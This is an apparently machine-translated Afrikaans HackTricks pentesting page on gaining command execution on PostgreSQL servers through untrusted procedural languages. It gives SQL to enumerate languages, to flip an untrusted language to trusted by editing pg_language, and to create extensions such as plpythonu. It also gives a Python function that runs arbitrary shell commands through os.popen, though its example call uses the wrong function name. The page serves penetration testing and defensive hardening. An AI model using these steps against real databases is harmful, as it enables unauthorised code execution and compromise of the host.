RCE with PostgreSQL Languages

Ondersteun HackTricks

PostgreSQL Tale

Die PostgreSQL databasis waartoe jy toegang het, mag verskillende skripting tale geïnstalleer hê wat jy kan misbruik om arbitraire kode uit te voer.

Jy kan hulle aan die gang kry:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Die meeste van die skripting tale wat jy in PostgreSQL kan installeer het 2 variasies: die vertroude en die onvertroude. Die onvertroude sal 'n naam hê wat eindig op "u" en sal die weergawe wees wat jou toelaat om kode uit te voer en ander interessante funksies te gebruik. Dit is tale wat, indien geïnstalleer, interessant is:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (enige ander programmeertaal wat 'n onveilige weergawe gebruik)

As jy vind dat 'n interessante taal geïnstalleer is maar onvertrou deur PostgreSQL (lanpltrusted is false) kan jy probeer om dit te vertrou met die volgende lyn sodat geen beperkings deur PostgreSQL toegepas sal word:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

As jy nie 'n taal sien nie, kan jy probeer om dit te laai met (jy moet superadmin wees):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Let op dat dit moontlik is om die veilige weergawes as "onveilig" te kompileer. Kyk na hierdie byvoorbeeld. Dit is altyd die moeite werd om te probeer of jy kode kan uitvoer, selfs al vind jy net die vertroude een geïnstalleer.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Kyk na die volgende bladsy:

PL/pgSQL Password Bruteforce

C

Kyk na die volgende bladsy:

RCE with PostgreSQL Extensions
Ondersteun HackTricks

Last updated